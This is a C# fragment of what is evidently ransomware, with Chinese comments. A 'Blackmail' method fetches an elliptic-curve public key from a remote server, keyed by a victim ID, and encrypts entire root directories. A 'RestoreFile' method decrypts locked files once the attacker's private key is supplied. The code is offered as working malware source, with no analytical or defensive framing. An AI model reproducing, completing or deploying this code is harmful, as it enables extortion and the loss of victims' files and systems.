/// <summary> /// 文件恢复 /// </summary> /// <param name="privKey">椭圆曲线私钥</param> /// <param name="filePath">文件路径</param> /// <returns>文件解密后的文件名</returns> public string RestoreFile(ECPrivateKeyParameters privKey, string filePath) { byte[] content = File.ReadAllBytes(filePath); Debug.Assert( content.Length >= 33, "Cannot retrieve an entire public key from " + filePath ); byte[] hexPubRand = new byte[33]; Array.Copy(content, 0, hexPubRand, 0, 33); ECPublicKeyParameters pubRand = KeyUtils.DecodeECPublicKey(hexPubRand); byte[] ciphertext = new byte[content.Length - 33]; Array.Copy(content, 33, ciphertext, 0, content.Length - 33); byte[] cleartext = engine.Decrypt( (ECPrivateKeyParameters)privKey, (ECPublicKeyParameters)pubRand, ciphertext ); File.WriteAllBytes(filePath, cleartext); string originPath = filePath.Replace(lockSuffix, ""); File.Move(filePath, originPath); return(originPath); }
/// <summary> /// 触发勒索 /// </summary> public static void Blackmail() { var cipPubKey = KeyUtils.DecodeECPublicKey(Hex.Decode( Task.Run(() => HttpUtils.httpreq(guid, HttpUtils.PostAction.Blackmail)).Result )); foreach (string dir in rootdir) { processor.EncryptDirectory(cipPubKey, dir); } }